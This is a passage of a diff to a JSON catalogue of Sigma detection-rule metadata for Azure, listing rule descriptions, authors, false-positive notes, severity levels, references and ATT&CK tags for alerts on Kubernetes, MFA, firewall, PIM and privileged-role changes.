"https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_admission_controller.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1078", + "attack.credential_access", + "attack.t1552", + "attack.t1552.007" + ] + }, + "uuid": "a61a3c56-4ce2-4351-a079-88ae4cbd2b58", + "value": "Azure Kubernetes Admission Controller" + }, + { + "description": "Detects when a Azure Kubernetes Cluster is created or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/07", + "falsepositive": [ + "Kubernetes cluster being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Kubernetes cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_kubernetes_cluster_created_or_deleted.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cluster_created_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "9541f321-7cba-4b43-80fc-fbd1fb922808", + "value": "Azure Kubernetes Cluster Created or Deleted" + }, + { + "description": "Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/11/22", + "falsepositive": [ + "Azure Kubernetes CronJob/Job may be done by a system administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_kubernetes_cronjob.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", + "https://kubernetes.io/docs/concepts/workloads/controllers/job/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cronjob.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.execution" + ] + }, + "uuid": "1c71e254-6655-42c1-b2d6-5e4718d7fc0a", + "value": "Azure Kubernetes CronJob" + }, + { + "description": "Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/07/24", + "falsepositive": [ + "Event deletions may be done by a system or network administrator. Verify whether the username, hostname, and/or resource name should be making changes in your environment. Events deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_kubernetes_events_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_events_deleted.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562", + "attack.t1562.001" + ] + }, + "uuid": "225d8b09-e714-479c-a0e4-55e6f29adf35", + "value": "Azure Kubernetes Events Deleted" + }, + { + "description": "Identifies when a Azure Kubernetes network policy is modified or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/07", + "falsepositive": [ + "Network Policy being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Network Policy being modified and deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_kubernetes_network_policy_change.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_network_policy_change.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access" + ] + }, + "uuid": "08d6ac24-c927-4469-b3b7-2e422d6e3c43", + "value": "Azure Kubernetes Network Policy Change" + }, + { + "description": "Identifies the deletion of Azure Kubernetes Pods.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/07/24", + "falsepositive": [ + "Pods may be deleted by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Pods deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_kubernetes_pods_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://github.com/elastic/detection-rules/blob/065bf48a9987cd8bd826c098a30ce36e6868ee46/rules/integrations/azure/impact_kubernetes_pod_deleted.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_pods_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "b02f9591-12c3-4965-986a-88028629b2e1", + "value": "Azure Kubernetes Pods Deleted" + }, + { + "description": "Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/07", + "falsepositive": [ + "RoleBinding/ClusterRoleBinding being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "RoleBinding/ClusterRoleBinding modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_kubernetes_rolebinding_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_rolebinding_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access" + ] + }, + "uuid": "25cb259b-bbdc-4b87-98b7-90d7c72f8743", + "value": "Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted" + }, + { + "description": "Identifies when ClusterRoles/Roles are being modified or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/07", + "falsepositive": [ + "ClusterRoles/Roles being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "ClusterRoles/Roles modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_kubernetes_role_access.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_role_access.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "818fee0c-e0ec-4e45-824e-83e4817b0887", + "value": "Azure Kubernetes Sensitive Role Access" + }, + { + "description": "Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/07", + "falsepositive": [ + "Sensitive objects may be accessed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Sensitive objects accessed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_kubernetes_secret_or_config_object_access.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_secret_or_config_object_access.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "7ee0b4aa-d8d4-4088-b661-20efdf41a04c", + "value": "Azure Kubernetes Secret or Config Object Access" + }, + { + "description": "Identifies when a service account is modified or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/07", + "falsepositive": [ + "Service account being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service account modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_kubernetes_service_account_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_service_account_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "12d027c3-b48c-4d9d-8bb6-a732200034b2", + "value": "Azure Kubernetes Service Account Modified or Deleted" + }, + { + "description": "Alert on when legecy authentication has been used on an account", + "meta": { + "author": "Yochana Henderson, '@Yochana-H'", + "creation_date": "2022/06/17", + "falsepositive": [ + "User has been put in acception group so they can use legacy authentication" + ], + "filename": "azure_legacy_authentication_protocols.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_legacy_authentication_protocols.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212" + ] + }, + "uuid": "60f6535a-760f-42a9-be3f-c9a0a025906e", + "value": "Use of Legacy Authentication Protocols" + }, + { + "description": "Detect failed attempts to sign in to disabled accounts.", + "meta": { + "author": "AlertIQ", + "creation_date": "2021/10/10", + "falsepositive": [ + "Unknown" + ], + "filename": "azure_login_to_disabled_account.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_login_to_disabled_account.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ] + }, + "uuid": "908655e0-25cf-4ae1-b775-1c8ce9cf43d8", + "value": "Login to Disabled Account" + }, + { + "description": "User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.", + "meta": { + "author": "AlertIQ", + "creation_date": "2022/03/24", + "falsepositive": [ + "Users actually login but miss-click into the Deny button when MFA prompt." + ], + "filename": "azure_mfa_denies.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_denies.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078.004" + ] + }, + "uuid": "e40f4962-b02b-4192-9bfe-245f7ece1f99", + "value": "Multifactor Authentication Denied" + }, + { + "description": "Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.", + "meta": { + "author": "@ionsor", + "creation_date": "2022/02/08", + "falsepositive": [ + "Authorized modification by administrators" + ], + "filename": "azure_mfa_disabled.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://attack.mitre.org/techniques/T1556/", + "https://docs.microsoft.com/en-us/azure/active-directory/authentication/howto-mfa-userstates", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_disabled.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1556" + ] + }, + "uuid": "7ea78478-a4f9-42a6-9dcd-f861816122bf", + "value": "Disabled MFA to Bypass Authentication Mechanisms" + }, + { + "description": "Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.", + "meta": { + "author": "AlertIQ", + "creation_date": "2021/10/10", + "falsepositive": [ + "Unknown" + ], + "filename": "azure_mfa_interrupted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_interrupted.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078.004" + ] + }, + "uuid": "5496ff55-42ec-4369-81cb-00f417029e25", + "value": "Multifactor Authentication Interrupted" + }, + { + "description": "Identifies when a Firewall Policy is Modified or Deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/02", + "falsepositive": [ + "Firewall Policy being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Firewall Policy modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_network_firewall_policy_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_policy_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "83c17918-746e-4bd9-920b-8e098bf88c23", + "value": "Azure Network Firewall Policy Modified or Deleted" + }, + { + "description": "Identifies when a Firewall Rule Configuration is Modified or Deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/08", + "falsepositive": [ + "Firewall Rule Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Firewall Rule Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_network_firewall_rule_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_rule_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "2a7d64cf-81fa-4daf-ab1b-ab80b789c067", + "value": "Azure Firewall Rule Configuration Modified or Deleted" + }, + { + "description": "Identifies when a Point-to-site VPN is Modified or Deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/08", + "falsepositive": [ + "Point-to-site VPN being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Point-to-site VPN modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_network_p2s_vpn_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_p2s_vpn_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "d9557b75-267b-4b43-922f-a775e2d1f792", + "value": "Azure Point-to-site VPN Modified or Deleted" + }, + { + "description": "Identifies when a network security configuration is modified or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/08", + "falsepositive": [ + "Network Security Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Network Security Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_network_security_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_security_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "d22b4df4-5a67-4859-a578-8c9a0b5af9df", + "value": "Azure Network Security Configuration Modified or Deleted" + }, + { + "description": "Identifies when a virtual network device is being modified or deleted.\nThis can be a network interface, network virtual appliance, virtual hub, or virtual router.\n", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/08", + "falsepositive": [ + "Virtual Network Device being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Virtual Network Device modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_network_virtual_device_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_virtual_device_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "15ef3fac-f0f0-4dc4-ada0-660aa72980b3", + "value": "Azure Virtual Network Device Modified or Deleted" + }, + { + "description": "Identifies when a new cloudshell is created inside of Azure portal.", + "meta": { + "author": "Austin Songer", + "creation_date": "2021/09/21", + "falsepositive": [ + "A new cloudshell may be created by a system administrator." + ], + "filename": "azure_new_cloudshell_created.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_new_cloudshell_created.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "72af37e2-ec32-47dc-992b-bc288a2708cb", + "value": "Azure New CloudShell Created" + }, + { + "description": "Identifies when a owner is was removed from a application or service principal in Azure.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/03", + "falsepositive": [ + "Owner being removed may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Owner removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_owner_removed_from_application_or_service_principal.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_owner_removed_from_application_or_service_principal.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "636e30d5-3736-42ea-96b1-e6e2f8429fd6", + "value": "Azure Owner Removed From Application or Service Principal" + }, + { + "description": "Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.", + "meta": { + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "creation_date": "2022/08/09", + "falsepositive": [ + "Actual admin using PIM." + ], + "filename": "azure_pim_activation_approve_deny.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_activation_approve_deny.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1078" + ] + }, + "uuid": "039a7469-0296-4450-84c0-f6966b16dc6d", + "value": "PIM Approvals And Deny Elevation" + }, + { + "description": "Detects when PIM alerts are set to disabled.", + "meta": { + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "creation_date": "2022/08/09", + "falsepositive": [ + "Administrator disabling PIM alerts as an active choice." + ], + "filename": "azure_pim_alerts_disabled.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_alerts_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1484" + ] + }, + "uuid": "aeaef14c-e5bf-4690-a9c8-835caad458bd", + "value": "PIM Alert Setting Changes To Disabled" + }, + { + "description": "Detects when changes are made to PIM roles", + "meta": { + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "creation_date": "2022/08/09", + "falsepositive": [ + "Legit administrative PIM setting configuration changes" + ], + "filename": "azure_pim_change_settings.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_change_settings.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1078" + ] + }, + "uuid": "db6c06c4-bf3b-421c-aa88-15672b88c743", + "value": "Changes To PIM Settings" + }, + { + "description": "Detects when a user is added to a privileged role.", + "meta": { + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "creation_date": "2022/08/06", + "falsepositive": [ + "Legtimate administrator actions of adding members from a role" + ], + "filename": "azure_priviledged_role_assignment_add.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_priviledged_role_assignment_add.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "49a268a4-72f4-4e38-8a7b-885be690c5b5", + "value": "User Added To Privilege Role" + }, + { + "description": "Detects when a user is removed from a privileged role. Bulk changes should be investigated.", + "meta": { + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "creation_date": "2022/08/05", + "falsepositive": [ + "Legtimate administrator actions of removing members from a role" + ], + "filename": "azure_priviledged_role_assignment_bulk_change.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_priviledged_role_assignment_bulk_change.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "102e11e3-2db5-4c9e-bc26-357d42585d21", + "value": "Bulk Deletion Changes To Privileged Account Permissions" + }, + { + "description": "Detects when a new admin is created.", + "meta": { + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H', Tim Shelton", + "creation_date": "2022/08/11", + "falsepositive": [ + "A legitimate new admin account being created" + ], + "filename": "azure_privileged_account_creation.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_privileged_account_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1078" + ] + }, + "uuid": "f7b5b004-dece-46e4-a4a5-f6fd0e1c6947", + "value": "Privileged Account Creation" + }, + { + "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", + "meta": { + "author": "sawwinnnaung", + "creation_date": "2020/05/07", + "falsepositive": [ + "Valid change" + ], + "filename": "azure_rare_operations.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/RareOperations.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_rare_operations.yml" + ], + "tags": [ + "attack.t1003" + ] + }, + "uuid": "c1182e02-49a3-481c-b3de-0fadc4091488", + "value": "Rare Subscription-level Operations In Azure" + }, + { + "description": "Identifies when a service principal is created in Azure.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/02", + "falsepositive": [ + "Service principal being created may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service principal created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_service_principal_created.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_service_principal_created.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "0ddcff6d-d262-40b0-804b-80eb592de8e3", + "value": "Azure Service Principal Created" + }, + { + "description": "Identifies when a service principal was removed in Azure.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/03", + "falsepositive": [ + "Service principal being removed may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service principal removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_service_principal_removed.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_service_principal_removed.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "448fd1ea-2116-4c62-9cde-a92d120e0f08", + "value": "Azure Service Principal Removed" + }, + { + "description": "Detects when a user has been elevated to manage all Azure Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/11/26", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "filename": "azure_subscription_permissions_elevation_via_activitylogs.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftauthorization", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_subscription_permissions_elevation_via_activitylogs.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ] + }, + "uuid": "09438caa-07b1-4870-8405-1dbafe3dad95", + "value": "Azure Subscription Permission Elevation Via ActivityLogs" + }, + { + "description": "Detects when a user has been elevated to manage all Azure Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/11/26", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "filename": "azure_subscription_permissions_elevation_via_auditlogs.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#assignment-and-elevation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_subscription_permissions_elevation_via_auditlogs.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ] + }, + "uuid": "ca9bf243-465e-494a-9e54-bf9fc239057d", + "value": "Azure Subscription Permission Elevation Via AuditLogs" + }, + { + "description": "Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.", + "meta": { + "author": "Austin Songer", + "creation_date": 